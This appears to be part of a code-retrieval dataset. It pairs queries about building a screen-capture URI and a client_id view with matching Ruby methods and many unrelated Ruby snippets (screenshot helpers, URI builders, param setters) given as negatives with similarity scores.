ActiveSupport::TimeZone::MAPPING[@screen.time_zone]\n if stale?(etag: frontend_cache_key, public: true)\n respond_to do |format|\n format.json {\n render json: @screen.to_json(\n only: [:name, :id, :time_zone, :locale],\n include: {\n template: {\n include: {\n positions: {\n except: [:created_at, :updated_at, :template_id, :field_id],\n methods: [:field_contents_path],\n include: {\n field: {\n methods: [:config],\n only: [:id, :name, :config]\n }\n }\n },\n },\n only: [:id, :name],\n methods: [:path, :css_path]\n }\n }\n )\n }\n end\n end\n\n unless @preview\n @screen.mark_updated\n end\n end\n end",
"def run\n super\n\n uri = _get_entity_attribute \"name\"\n filename = \"screenshot_#{rand(100000000000000)}.png\"\n full_path = \"#{Dir.pwd}/public/screenshots/#{filename}\"\n\n begin\n @task_log.log \"Saving to... #{full_path}\"\n\n f = Screencap::Fetcher.new(uri)\n screenshot = f.fetch(\n :output => full_path, # don't forget the extension!\n # optional:\n #:div => '.header', # selector for a specific element to take screenshot of\n #:width => 1024,\n #:height => 768,\n #:top => 0, :left => 0, :width => 100, :height => 100 # dimensions for a specific area\n )\n\n @task_log.good \"Saved to #{full_path}\"\n _create_entity \"Screenshot\", :name => \"#{uri}_screenshot\", :uri => \"#{$intrigue_server_uri}/screenshots/#{filename}\"\n\n rescue Screencap::Error => e\n @task_log.error \"Unable to capture screenshot: #{e}\"\n end\n\n end",
"def preview_url(opts={})\n url(opts)\n end",
"def create_image_from_screenshot\n type = @desktop_image.split(/\\./).last\n `screencapture -t#{type} -x #@desktop_image`\n end",
"def swf_embed(id, url, width, height, bgcolor, click_tag, alt = '')\n url = h(url)\n click_tag = h(click_tag)\n\n result = <<HTML\n <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"#{width}\" height=\"#{height}\" id=\"#{id}\">\n <param name=\"movie\" value=\"#{url}\" />\n <param name=\"bgcolor\" value=\"#{bgcolor}\" />\n <param name=\"wmode\" value=\"opaque\" />\n <param name=\"allowfullscreen\" value=\"false\" />\n <param name=\"allowscriptaccess\" value=\"never\" />\n <param name=\"quality\" value=\"autohigh\" />\n <param name=\"flashvars\" value=\"clickTAG=#{click_tag}\" />\n\n <!--[if !IE]>-->\n <object type=\"application/x-shockwave-flash\" data=\"#{url}\" width=\"#{width}\" height=\"#{height}\">\n <param name=\"bgcolor\" value=\"#{bgcolor}\" />\n <param name=\"wmode\" value=\"opaque\" />\n <param name=\"allowfullscreen\" value=\"false\" />\n <param name=\"allowscriptaccess\" value=\"never\" />\n <param name=\"quality\" value=\"autohigh\" />\n <param name=\"flashvars\" value=\"clickTAG=#{click_tag}\" />\n <!--<![endif]-->\n\n #{alt}\n\n <!--[if !IE]>-->\n </object>\n <!--<![endif]-->\n </object>\n <script type=\"text/javascript\">\n try { swfobject.registerObject(\"#{id}\", \"9.0.0\"); } catch(e) {}\n\t\t </script>\nHTML\n result.html_safe\n end",
"def web_cam_capture_params\n params[:web_cam_capture]\n end",
"def display(screen)\n\n end",
"def realizarCapturaDePantalla\n self.getBrowser().screenshot.save(\"#{GEDORUTASCREENSHOT}GEDO_#{DateTime.now.strftime(\"%Y-%b-%d_%H%M%S\")}.png\")\n end",
"def set_capture\n @capture = Capture.find(params[:id])\n @stream = @capture.stream\n end",
"def screenshot(driver,sess_time,shot_num,descr)\n filename = \"shot-#{shot_num}-#{driver.current_url.sub(\"http://\",\"\").sub(\"admin:123@\",\"\").gsub(\"/\",\"-\")}-(#{descr})-#{sess_time}.png\"\n # driver.save_screenshot (\"shot-#{shot_num}-#{driver.current_url.sub(\"https://format-staging.com/\",\"\").gsub(\"/\",\"-\")}-(#{descr})-#{sess_time}.png\")\n driver.save_screenshot(filename)\n # puts (\" 📸 Shot #{shot_num} (#{driver.current_url})\")\n puts (\" 📸 #{filename}\")\n return 1\nend",
"def add_image_from_rspec(argument, example, url_path)\n blob = caller.find{|i| i[ example.file_path.gsub(/:\\d*|^\\./,\"\") ]}\n file_with_line = blob.split(\":\")[0,2].join(\":\")\n\n filename = [example.description, argument, file_with_line, SecureRandom.hex(6) ].join(\" \").gsub(/\\W+/,\"_\") + \".jpg\"\n full_name = File.join(Poltergeist::ScreenshotOverview.target_directory, filename )\n FileUtils.mkdir_p Poltergeist::ScreenshotOverview.target_directory\n describe = example.metadata[:example_group][:description_args]\n @files << Screenshot.new({\n :url => url_path,\n :argument => argument,\n :local_image => filename,\n :full_path => full_name,\n :group_description => describe,\n :example_description => example.description,\n :file_with_line => file_with_line\n })\n full_name\n end",
"def fetch_video\n \t @video=UnvlogIt.new(url)\n \t self.embed_url=@video.embed_html(300, 169)\n \t self.thumb_url=@video.thumbnail\n end",
"def screenshot\n Screenshot.new self\n end",
"def open_url_builder(record, link)\n builder = UmdOpenUrl::Builder.new(link)\n builder.issn(record.eds_issns&.first)\n .volume(record.eds_volume)\n .issue(record.eds_issue)\n .start_page(record.eds_page_start)\n .publication_date(record.eds_publication_date)\n\n builder\n end",
"def set_request_uri \n @query = @query.set_request_uri(request.fullpath.sub(/screen=[A-Za-z]*/,'screen=UsersScreen')) if @query.respond_to?(:set_request_uri)\n end",
"def makeScreenShot(urlArray)\n urlArray.each do |item|\n puts \"Item: \"+item\n cmd = \"webkit2png -W 1366 -D \"+@outputDirectory+\" -F \"+item\n\n Open3.popen3(cmd) do |stdin, stdout, stderr, wait_thr|\n puts \"stdout is:\" + stdout.read\n puts \"stderr is:\" + stderr.read\n end\n\n puts green('Done...')\n sleep(@screenShotSleepTime)\n end\n end",
"def take_screenshot(file_name=nil)\n # make sure screenshots folder exists\n FileUtils.mkdir_p './screenshots'\n\n # if file name given, use time stamp\n if file_name.nil?\n file_name = Time.now.strftime(\"%Y-%m-%d_%H-%M-%S.png\")\n end\n\n sleep(1)\n $browser.screenshot.save \"./screenshots/#{file_name}\"\n log(\"screenshot taken: ./screenshots/#{file_name}\")\n sleep(1)\n\n # add to report\n embed(\"./screenshots/#{file_name}\", \"image/png\", \"SCREENSHOT\")\nend",
"def set_web_cam_capture\n @web_cam_capture = WebCamCapture.find(params[:id])\n end",
"def create_uri(url, parms)\n uri = URI(url)\n uri.query = URI.encode_www_form(parms)\n uri\nend",
"def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end"
] |
[
"0.68570787",
"0.57051253",
"0.56397533",
"0.54838306",
"0.544183",
"0.54017854",
"0.53970087",
"0.5389497",
"0.53653485",
"0.53134775",
"0.53134775",
"0.5308929",
"0.52701604",
"0.52701604",
"0.52700263",
"0.5243266",
"0.52056426",
"0.51905924",
"0.51839465",
"0.5167935",
"0.51549923",
"0.51520973",
"0.51520973",
"0.5140095",
"0.5100336",
"0.5099028",
"0.50965774",
"0.5093216",
"0.5087372",
"0.5072838",
"0.5040058",
"0.5038845",
"0.50273955",
"0.5024309",
"0.5014666",
"0.5003471",
"0.49965313",
"0.49915802",
"0.49892694",
"0.4983523",
"0.49741882",
"0.49703577",
"0.49703577",
"0.4955209",
"0.49463657",
"0.49452055",
"0.49425375",
"0.49360076",
"0.4933405",
"0.4932035",
"0.49313694",
"0.49245545",
"0.49226895",
"0.49084246",
"0.49081156",
"0.49044132",
"0.490337",
"0.49032432",
"0.48978683",
"0.48961592",
"0.48862267",
"0.48717198",
"0.48670626",
"0.48633942",
"0.4853289",
"0.48522854",
"0.4848291",
"0.4841936",
"0.48217517",
"0.48140442",
"0.48138544",
"0.48133767",
"0.4804348",
"0.47975117",
"0.4793112",
"0.47891605",
"0.4783689",
"0.4769041",
"0.47575554",
"0.47557485",
"0.47507167",
"0.47438657",
"0.47424975",
"0.47321096",
"0.47168308",
"0.4713755",
"0.47134316",
"0.47064835",
"0.46952245",
"0.46874595",
"0.4681379",
"0.46789217",
"0.46778128",
"0.4675653",
"0.46727192",
"0.46678588",
"0.46648487",
"0.46579233",
"0.46485555",
"0.46346277"
] |
0.7436474
|
0
|
constructs the uri of a capture_screen from params
|
def screen_uri(params = {}, sn = screen_name)
uri = URI("https://" + app.captureui_addr)
uri.path = "/oauth/#{sn}"
uri.query = URI.encode_www_form(params)
uri.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def square_uri\n square_params\n uri\n end",
"def build_retrieve_url(args)\n url_type = args[type]\n url_device_id = args[device_id]\n url_sensor_type = args[sensot_type]\n url_retrieve_type = args[retrieve_type]\n\n complete_url = \"/data/#{url_type}/#{url_device_id}/#{url_sensor_type}/#{url_retrieve_type}\"\n\n return complete_url\n end",
"def set_request_uri \n @query = @query.set_request_uri(request.fullpath.sub(/screen=[A-Za-z]*/,'screen=UsersScreen')) if @query.respond_to?(:set_request_uri)\n end",
"def screen_capture_params\n params.require(:screen_capture).permit(:service_url, :file_name)\n end",
"def embed_screen(params = {})\n @iframe_src = screen_uri(params)\n render \"iframe\"\n end",
"def generate_url(url, params = {})\n uri = URI(url)\n if Settings.get_params_char == '#'\n uri.fragment = params.to_query\n else\n uri.query = params.to_query\n end\n uri.to_s\n end",
"def url(*args)\n named_route, params, recall, options = extract_params!(*args)\n\n options[:parameterize] ||= lambda { |name, param| Utils.escape_uri(param) }\n\n unless result = generate(:path_info, named_route, params, recall, options)\n return\n end\n\n uri, params = result\n params.each do |k, v|\n if v\n params[k] = v\n else\n params.delete(k)\n end\n end\n\n uri << \"?#{Utils.build_nested_query(params)}\" if uri && params.any?\n uri\n end",
"def build_uri\n URI.parse(base_url + \"?\" + query_params)\n end",
"def build_uri\n uri = URI(\"#{Phantomblaster::API_URL}#{path}\")\n query = build_query(uri, args)\n uri.query = query\n uri\n end",
"def print_photo_url\n \"#{PhotoboothAPI.server_url}/#{@url}/print\"\n end",
"def to_uri\n build_uri\n end",
"def uri\n params = {\n center: location,\n size: size,\n zoom: zoom,\n format: file_format,\n sensor: sensor.to_s\n }\n Addressable::URI.parse(api_endpoint).tap do |uri|\n uri.query_values = params\n end.to_s\n end",
"def generate_url(url, params = {})\n uri = URI(url)\n uri.query = params.to_query\n uri.to_s\n end",
"def authenticated_uri(params = {})\n add_params_to_url(\n @app_context.brightspace_host.to_uri(\n path: path,\n query: query\n ), params)\n end",
"def screenshot path = '~/Desktop'\n capture_screen self, path\n end",
"def to_param\n url\n end",
"def build_uri(params = {}, specificator = nil, action = nil)\n params.merge!(api_token: ENV['pipedrive_api_token'])\n query_string = params.map{|k,v|\"#{k}=#{v}\"}.join('&')\n plural_resource_name = @resource_name == 'person' ? 'persons' : @resource_name.pluralize\n uri = URI(\"#{HOST}/#{[plural_resource_name, specificator, action].compact.join('/')}?#{query_string}\")\n end",
"def url(*args)\n params = args.last.is_a?(Hash) ? args.pop : {}\n fragment = params.delete(:fragment) || params.delete(:anchor)\n path = make_path_with_params(args, value_to_param(params))\n rebase_url(fragment ? path << '#' << fragment.to_s : path)\n end",
"def create_url(parameters)\n # \"/badges/add/:as\n path = uri_path\n if path =~ /:/\n # [\"\", \"badges\", \"add\", \":as\"]\n parts = path.split('/')\n path = \"\"\n parts.each do |part|\n next if part == \"\" or part.nil?\n path << '/'\n if part =~ /:/\n part_name = /:(.*)/.match(part)[1]\n # parameters[:as]\n part = parameters[part_name.to_sym]\n end\n path << part\n end\n end\n url = \"#{Kickit::Config.rest_base_uri}#{path}\"\n end",
"def get_encoded_url(params, uri)\n raise TypeError, 'params must be a Hash or respond to #to_h' unless params.is_a?(Hash) || params.respond_to?(:to_h)\n raise TypeError, 'uri must be an instance of Addressable::URI ' unless uri.is_a?(Addressable::URI)\n \n # NOTE: Have to pass the Rack::Request instance and use the `request.params` method to retrieve the parameters because:\n # uri.to_s # => \"http://localhost/snapsearch/path1?key1=value1&_escaped_fragment_=%2Fpath2%3Fkey2=value2\"\n # uri.query_values # => {\"key1\"=>\"value1\", \"_escaped_fragment_\"=>\"/path2?key2\"}\n # request.params # => {\"key1\"=>\"value1\", \"_escaped_fragment_\"=>\"/path2?key2=value2\"}\n # Is seems Addressable screws up the spliting of params into a Hash, but Rack does not.\n if !uri.query_values.nil? && uri.query_values.has_key?('_escaped_fragment_')\n qs_and_hash = get_real_qs_and_hash_fragment(params, true)\n url = \"#{uri.scheme}://#{uri.authority}#{uri.path}\" # Remove the query and fragment (SCHEME + AUTHORITY + PATH)... Addressable::URI encodes the uri\n \n url.to_s + qs_and_hash['qs'] + qs_and_hash['hash']\n else\n uri.to_s\n end\n end",
"def generate_uri(parameters={})\n parameters = self.normalize_parameters(parameters)\n \n self.validate_parameters(parameters)\n template_variables = self.uri_template.variables\n upload_type = parameters.assoc('uploadType') || parameters.assoc('upload_type')\n if upload_type\n unless self.media_upload\n raise ArgumentException, \"Media upload not supported for this method\"\n end\n case upload_type.last\n when 'media', 'multipart', 'resumable'\n uri = self.media_upload.uri_template.expand(parameters)\n else\n raise ArgumentException, \"Invalid uploadType '#{upload_type}'\"\n end\n else\n uri = self.uri_template.expand(parameters)\n end\n query_parameters = parameters.reject do |k, v|\n template_variables.include?(k)\n end\n # encode all non-template parameters\n params = \"\"\n unless query_parameters.empty?\n params = \"?\" + Addressable::URI.form_encode(query_parameters.sort)\n end\n # Normalization is necessary because of undesirable percent-escaping\n # during URI template expansion\n return uri.normalize + params\n end",
"def uri=(_arg0); end",
"def uri=(_arg0); end",
"def uri=(_arg0); end",
"def uri=(_arg0); end",
"def build_url(vars = {})\n \"/\" + path_spec.map do |p|\n case p\n when String\n p\n when Symbol\n vars.fetch(p)\n end\n end.join(\"/\")\n end",
"def uri\n raise InterfaceError, 'Base url is require to generate full uri.' unless @base_url\n return @base_url if @uri_parameters.nil? || @uri_parameters.empty?\n params_with_values = []\n @uri_parameters.each {|k,v| params_with_values << \"#{k}=#{v}\"}\n @base_url+'?'+params_with_values.join('&')\n end",
"def build_uri(uri = nil)\n if uri.nil?\n \"#{@path}\"\n else\n [\"#{@path}\", uri].join(\"/\")\n end\n end",
"def call(params = {})\n return variant.image.url(params) unless processible_image?\n\n \"/#{uid}\"\n end",
"def build_url(params)\n \"#{@base_url}?#{params.to_query}\"\n end",
"def to_uri(event_id: nil, action: nil, via: nil)\n uri = ''\n\n case sigil\n when '@'\n raise ArgumentError, \"can't provide via for user URIs\" if via\n raise ArgumentError, \"can't provide event_id for user URIs\" if event_id\n\n uri += 'u'\n when '#'\n uri += 'r'\n when '!'\n uri += 'roomid'\n else\n raise ArgumentError, \"this MXID can't be converted to a URI\"\n end\n\n uri = \"matrix:#{uri}/#{localpart}#{homeserver_suffix}\"\n\n uri += \"/e/#{event_id.to_s.delete_prefix('$')}\" if event_id\n query = []\n query << \"action=#{action}\" if action\n [via].flatten.compact.each { |v| query << \"via=#{v}\" }\n\n uri += \"?#{query.join('&')}\" unless query.empty?\n\n URI(uri)\n end",
"def uri\n uri_for({}, nil)\n end",
"def build_uri\n url = \"https://maps.googleapis.com/maps/api/directions/json\"\n uri = URI(url)\n uri.query = \"\"\n @params.each {|k, v| uri.query << \"#{k}=#{v}&\" }\n uri.query = uri.query.chop\n return uri\n end",
"def build_url(location, *args)\n url = File.join(\n Azure::Armrest::COMMON_URI,\n configuration.subscription_id,\n 'providers',\n provider,\n 'locations',\n location\n )\n\n url = File.join(url, *args) unless args.empty?\n url << \"?api-version=#{@api_version}\"\n end",
"def generate_preview_url\n GlobalConstant::Base.root_url + @params['path'] + '?ts=' + @params['ts'].to_s\n end",
"def make_absolute_uri(hash={})\n @urigen.make_absolute_uri(hash)\n end",
"def build_url(path, params={})\n full_path = @uri.path + path\n full_url = \"#{@uri.scheme}://#{@uri.host}\"\n full_url += \":#{@uri.port}\" if @uri.port\n full_url += super(full_path, params, @uri.query)\n end",
"def to_param\n short_url\n end",
"def to_param\n short_url\n end",
"def build_url(params_hash)\n param_string = '?' + params_hash.merge(:LicenseKey => @license_key).map { |k, v| \"#{::CGI.escape(k.to_s)}=#{::CGI.escape(v.to_s)}\" }.sort.join('&')\n URI.parse(File.join(endpoint_url, @name + param_string))\n end",
"def square_url\n square_uri.to_s\n end",
"def url\n source_url || reporter.photo_urlformat(uniqueid, 's')\n end",
"def uri\n URI.new :scheme => scheme,\n :host => host,\n :path => path,\n :query => query\n end",
"def url(name, *params)\n params.map! do |param|\n if param.is_a?(Hash)\n param[:format] = param[:format].to_s if param.has_key?(:format)\n param.each { |k,v| param[k] = v.to_param if v.respond_to?(:to_param) }\n end\n end\n url = router.generator.generate(name, *params)\n uri_root != \"/\" ? uri_root + url : url\n end",
"def create_url\n uri = Addressable::URI.new\n uri.query_values = properties\n \"#{ BASE_URI }#{ Hubspotter.configuration.portal_id }#{ create_endpoint }#{ uri.query }\"\n end",
"def create_uri\n end",
"def build_url(redirect_uri,type)\n path = redirect_uri.split('#',2).first if redirect_uri.include? \"#\"\n path = redirect_uri.split('?',2).first if redirect_uri.include? \"?\"\n case type\n when \"token\"\n return path + \"?access_token=#{self.access_token}\"\n when \"code\"\n return path + \"?request_token=#{self.code}\"\n end\n end",
"def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end",
"def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end",
"def build_url path, params={}\n full_path = @uri.path + path\n super full_path, params, @uri.query\n end",
"def create_uri(url, parms)\n uri = URI(url)\n uri.query = URI.encode_www_form(parms)\n uri\nend",
"def to_s\n uri\n end",
"def generate_link(params)\n q = params.reduce([]) do |m,(k,v)|\n if v.is_a?(Hash)\n m + v.reduce([]) do |mm,(kk,vv)|\n mm + [ \"#{k}[#{kk}]=#{URI.escape(vv.to_s)}\" ]\n end\n else\n m + [ \"#{k}=#{URI.escape(v.to_s)}\" ]\n end\n end\n\n q.empty? ?\n @request.uri :\n \"#{@request.uri}?#{q.join('&')}\"\n end",
"def getUri_withReplyEvent(event, reply)\n uri = event.paramDescriptorForKeyword('----'.to_fcc).stringValue\n dest = process(uri)\n `open '#{dest}'` if dest\n end",
"def url\n connection.build_url(url_chunk, params).to_s\n end",
"def uri\n URI::Generic.build(host: addr, port: port)\n end",
"def uri\n URI::Generic.build(host: addr, port: port)\n end",
"def build(uri, params)\n # remove empty GA params\n params.delete_if { |_, v| v.blank? }\n # if no params return untouched url\n return uri if params.empty?\n # build the final url\n parsed = ::Addressable::URI.parse(uri)\n return uri if @filter && !@filter.call(parsed)\n\n parsed.query_values = (parsed.query_values || {}).reverse_merge(params) if parsed.absolute?\n parsed.to_s.html_safe\n end",
"def get_decoded_path(params, uri)\n raise TypeError, 'params must be a Hash or respond to #to_h or #to_hash' unless params.is_a?(Hash) || params.respond_to?(:to_h) || params.respond_to?(:to_hash)\n params = params.to_h rescue params.to_hash\n \n raise TypeError, 'uri must be an instance of Addressable::URI ' unless uri.is_a?(Addressable::URI)\n \n # NOTE: Have to pass the Rack::Request instance and use the `request.params` method to retrieve the parameters because:\n # uri.to_s # => \"http://localhost/snapsearch/path1?key1=value1&_escaped_fragment_=%2Fpath2%3Fkey2=value2\"\n # uri.query_values # => {\"key1\"=>\"value1\", \"_escaped_fragment_\"=>\"/path2?key2\"}\n # request.params # => {\"key1\"=>\"value1\", \"_escaped_fragment_\"=>\"/path2?key2=value2\"}\n # Is seems Addressable screws up the spliting of params into a Hash, but Rack does not.\n if !uri.query_values.nil? && uri.query_values.has_key?('_escaped_fragment_')\n qs_and_hash = get_real_qs_and_hash_fragment(params, false)\n \n Addressable::URI.unescape(uri.path) + qs_and_hash['qs'] + qs_and_hash['hash']\n else\n Addressable::URI.unescape(\"#{ uri.path }?#{ uri.query }\")\n end\n end",
"def to_uri(url, params = {})\n return \"\" if url.blank?\n\n var_values = params.inject(\"\") { |str, h| str += \"#{h[0]}=#{h[1]}&\" }\n url += \"?\" + URI.encode(var_values.chomp(\"&\")) if !var_values.blank?\n \n url\n end",
"def url()\n set_signature\n\n url = service_end_point + \"?\"\n\n param_string = @params.map do |key,value|\n [key,value].map { |string| Amazon::FPS::SignatureUtils.urlencode(string) }.join '='\n end.join '&'\n\n url + param_string\n end",
"def snapshots_transport_destination_url=(_arg0); end",
"def generate_preview_url(target_url)\n preview_url = url_for(\n :controller => ('/' + target_url[\"target_controller\"]),\n :action => target_url[\"target_action\"],\n :id => params[:id]\n )\n end",
"def url_with_window(url, query_params, time_window_params)\n uri = URI(url)\n uri.query = time_window_params.merge(query_params).to_query\n\n uri.to_s\n end",
"def construct_url(method, format, dev_id, signature, session_id, formatted_timestamp)\n \"#{API_END_POINT}/#{method}#{format}/#{dev_id}/#{signature}/#{session_id}/#{formatted_timestamp}\"\n end",
"def url_for(*args)\n options = args.extract_options!.with_indifferent_access\n # leading colon\n port = options[:port].blank? ? nil : \":#{options[:port]}\"\n # leading question mark\n query = options[:query].blank? ? nil : \"?#{options[:query]}\"\n # leading octothorpe\n fragment = options[:fragment].blank? ? nil : \"##{options[:fragment]}\"\n URI(\"#{url_scheme}://#{fqdn}#{port}#{app_root}#{options[:path]}#{query}#{fragment}\")\n end",
"def make_url(params)\n escaped_params = params.sort_by { |k,v| k.to_s }.map do |k,v|\n \"#{URI.escape k.to_s}=#{URI.escape v.to_s}\"\n end\n\n url = @url.dup\n url.query = escaped_params.join '&'\n return url\n end",
"def generateUrl(additionalParams={})\n finalParams = self._setFinalParams(additionalParams)\n options = {}\n options['product'] = self\n options['renderParameters'] = finalParams\n params = @serverManager.buildRenderCommand(options)\n if params then\n url = @serverManager.buildRenderServerUrlRequest(params)\n url\n end\n end",
"def build_uri\n @uri = URI( SEARCH_BASE + '/' + send(\"#{@method}_url\") )\n end",
"def build_uri\n @uri = URI( SEARCH_BASE + '/' + send(\"#{@method}_url\") )\n end",
"def build_uri\n @uri = URI( SEARCH_BASE + '/' + send(\"#{@method}_url\") )\n end",
"def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end",
"def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end",
"def build_log_uri(base_uri, loc_file)\n scheme, userinfo, host, port, registry, path, opaque, query, fragment = URI.split(URI::DEFAULT_PARSER.escape(base_uri))\n\n # Convert encoded spaces back to spaces\n path.gsub!('%20', ' ')\n\n relpath = relative_path_for_upload(loc_file)\n new_path = File.join(\"/\", path, relpath)\n uri = URI::HTTP.new(scheme, userinfo, host, port, registry, new_path, opaque, query, fragment).to_s\n _log.info(\"New URI: [#{uri}] from base: [#{base_uri}], and relative path: [#{relpath}]\")\n uri\n end",
"def to_url\n port = @attrs[:port]\n url = \"#{@attrs[:protocol]}://#{@attrs[:host]}\"\n url << \":#{port}\" if port\n url << \"#{@attrs[:path]}?\"\n\n params_str = params.map {|name, value|\n \"#{CGI.escape(name)}=#{CGI.escape(value)}\"\n }.join('&')\n url << params_str\n end",
"def build_url(action, query=nil)\n url = URI.parse($base_url).merge(action).to_s\n url = OpenID::Util.append_args(url, query) unless query.nil?\n return url\n end",
"def url(params)\n \"%s%s\" % [config['endpoint'], query_string(params)]\n end",
"def create_image_from_screenshot\n type = @desktop_image.split(/\\./).last\n `screencapture -t#{type} -x #@desktop_image`\n end",
"def build_uri(action, options)\n case action\n when 'sale'\n \"/ens/service/page/#{options[:page_id]}/process\"\n when 'auth'\n '/ens/service/authenticate'\n end\n end",
"def launch_url\n Rails.application.routes.url_helpers.launch_url(tool_client_id: client_id)\n end",
"def build_url(query_params: nil)\n url = [add_version(''), *@url_path].join('/')\n url = build_query_params(url, query_params) if query_params\n URI.parse(\"#{@host}#{url}\")\n end",
"def create_uri url\n uri = URI.parse url\n uri.user = @login\n uri.password = @password\n uri\n end",
"def url\n uri.to_s\n end",
"def camTarget _args\n \"camTarget _args;\" \n end",
"def build_uri_path(path, params)\n path + handle_params(params)\n end",
"def build_uri_for(provider, args={})\n args = args.inject('?'){ |res, hash| res += \"#{hash[0]}=#{hash[1]}&\" }\n case provider\n when 'CF'\n URI.parse(\"https://api.commissionfactory.com.au/V1/Affiliate/DataFeeds/#{args}apiKey=7fec5f11e26a493a8360175035c0014e\")\n end\n end",
"def request_uri\n uri = URI.parse(Europeana::URL + \"/record\" + \"#{@id}.json\")\n uri.query = params_with_authentication.to_query\n uri\n end",
"def uri\n \"#{@@config[:base_uri]}#{id}\"\n end",
"def preview_url(opts={})\n url(opts)\n end",
"def build_uri(resource)\n URI(\"#{API_URL}/#{resource}\")\n end",
"def construct_url(uri)\n \"#{uri.scheme}://#{uri.host}#{uri.path}\"\n end",
"def screenshot(width, height, quality)\n url = player_url+'/application/screenshot?'\n url += \"width=#{width}\"\n url += \"&height=#{height}\"\n url += \"&quality=#{quality}\"\n url += \"&#{plex_token}\" if plex_token\n\n ping url\n end",
"def browser_uri(options = {})\n grey = options[:grey]\n if grey\n GoodData.connection.url + uri\n else\n GoodData.connection.url + '#s=' + uri\n end\n end",
"def curatorCameraArea _args\n \"curatorCameraArea _args;\" \n end",
"def generate_url(url, params = {})\n uri = URI(url)\n\n res = \"#{uri.scheme}://#{uri.host}\"\n res += \":#{uri.port}\" if (uri.port and uri.port != 80 and uri.port != 443)\n res += \"#{uri.path}#\" if uri.path\n res += \"#{uri.fragment}\" if uri.fragment\n res += \"?#{params.to_query}\"\n\n return res\n end",
"def to_s\n uri_string\n end",
"def build_url(path, params={})\n full_path = @uri.path + path\n\n super full_path, params, @uri.query\n end",
"def make_url\n # This works for most of the twitter calls\n \"http://ws.audioscrobbler.com/2.0/?method=#{resource_path}&artist=#{identifier}&limit=100&page=#{page}&api_key=#{api_key}&format=json\"\n end",
"def url\n uri.to_s\n end",
"def capture(params)\n request(Resources::RESOURCE_CAPTURE, HTTP_METHOD_POST, params)\n end"
] |
[
"0.5898366",
"0.5666568",
"0.5663937",
"0.55912805",
"0.5581854",
"0.5522475",
"0.5512769",
"0.5498587",
"0.5417829",
"0.53507",
"0.5332685",
"0.5330718",
"0.5330597",
"0.5329763",
"0.5302307",
"0.5286036",
"0.52647424",
"0.52646154",
"0.5259118",
"0.5256418",
"0.5235528",
"0.523481",
"0.523481",
"0.523481",
"0.523481",
"0.5234753",
"0.5228245",
"0.522785",
"0.52276534",
"0.52175236",
"0.51969445",
"0.51915306",
"0.5180029",
"0.51620066",
"0.51610196",
"0.51416224",
"0.51318735",
"0.5114962",
"0.5114962",
"0.5113359",
"0.51009756",
"0.508939",
"0.50746226",
"0.50713944",
"0.5067757",
"0.5062764",
"0.5054329",
"0.5053787",
"0.5053787",
"0.5053787",
"0.50534505",
"0.5053146",
"0.5047916",
"0.5042344",
"0.50410444",
"0.50386107",
"0.50386107",
"0.50346786",
"0.502113",
"0.5012642",
"0.5012196",
"0.5006885",
"0.5006262",
"0.500154",
"0.49983236",
"0.49922207",
"0.4991113",
"0.49904504",
"0.4989872",
"0.4989872",
"0.4989872",
"0.49811566",
"0.49811566",
"0.49809608",
"0.49762693",
"0.496956",
"0.4967142",
"0.4966142",
"0.4939022",
"0.49280617",
"0.49276665",
"0.49179167",
"0.4914477",
"0.49090838",
"0.49019864",
"0.49018085",
"0.4895219",
"0.48812276",
"0.4880365",
"0.48798263",
"0.48772874",
"0.48677647",
"0.4864885",
"0.48643652",
"0.4863338",
"0.48564523",
"0.48506185",
"0.48416585",
"0.48383892",
"0.48378447"
] |
0.8084606
|
0
|
def client_id render :text => api_args["client_id"] end
|
def view_api_args
render :json => api_args
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def client_id; end",
"def client_id=(_arg0); end",
"def clientid\n @obj['clientid']\n end",
"def client_id\n super\n end",
"def clientid\n @data['clientid'].to_i\n end",
"def client_id\n @client_id\n end",
"def client_id\n @client_id\n end",
"def client_id=(client_id); end",
"def client_id=(client_id); end",
"def client_id\n return @client_id\n end",
"def get_client_id\n @client_id\n end",
"def client\n query[\"client_id\"]\n end",
"def client_name; end",
"def show_current_client\n return \"\" unless logged_in? && current_client \n \"Client: #{current_client.client_name}\"\n end",
"def show\n id = shift_argument || raise(Heroku::Command::CommandFailed, \"Usage: clients:show [ID]\")\n\n client = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :get,\n :path => \"/oauth/clients/#{CGI.escape(id)}\"\n ).body\n end\n\n if options[:shell]\n puts \"HEROKU_OAUTH_ID=#{client[\"id\"]}\"\n puts \"HEROKU_OAUTH_SECRET=#{client[\"secret\"]}\"\n else\n styled_header(%{Client \"#{client[\"name\"]}\".})\n styled_hash(client)\n end\n end",
"def openid_client_id; end",
"def client_id\n request.headers['X-Client-ID']\n end",
"def client_id\n me.client.id\n end",
"def client_id\n me.client.id\n end",
"def client_id\n @client_id ||= Staccato.build_client_id\n end",
"def client_name\n\t\t\n\tend",
"def client_detail\n service_response = UserManagement::GetClientDetail.new(params).perform\n render_api_response(service_response)\n end",
"def client_args\n { uuid: uuid, api_key: api_key }\n end",
"def client_id=(value)\n @client_id = value\n end",
"def client_guid\n client_id\n end",
"def client_name\n client.name\n end",
"def client_name\n return @client_name\nend",
"def show\n @client = Client.find(params[:id])\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
"def set_ClientID(value)\n set_input(\"ClientID\", value)\n end",
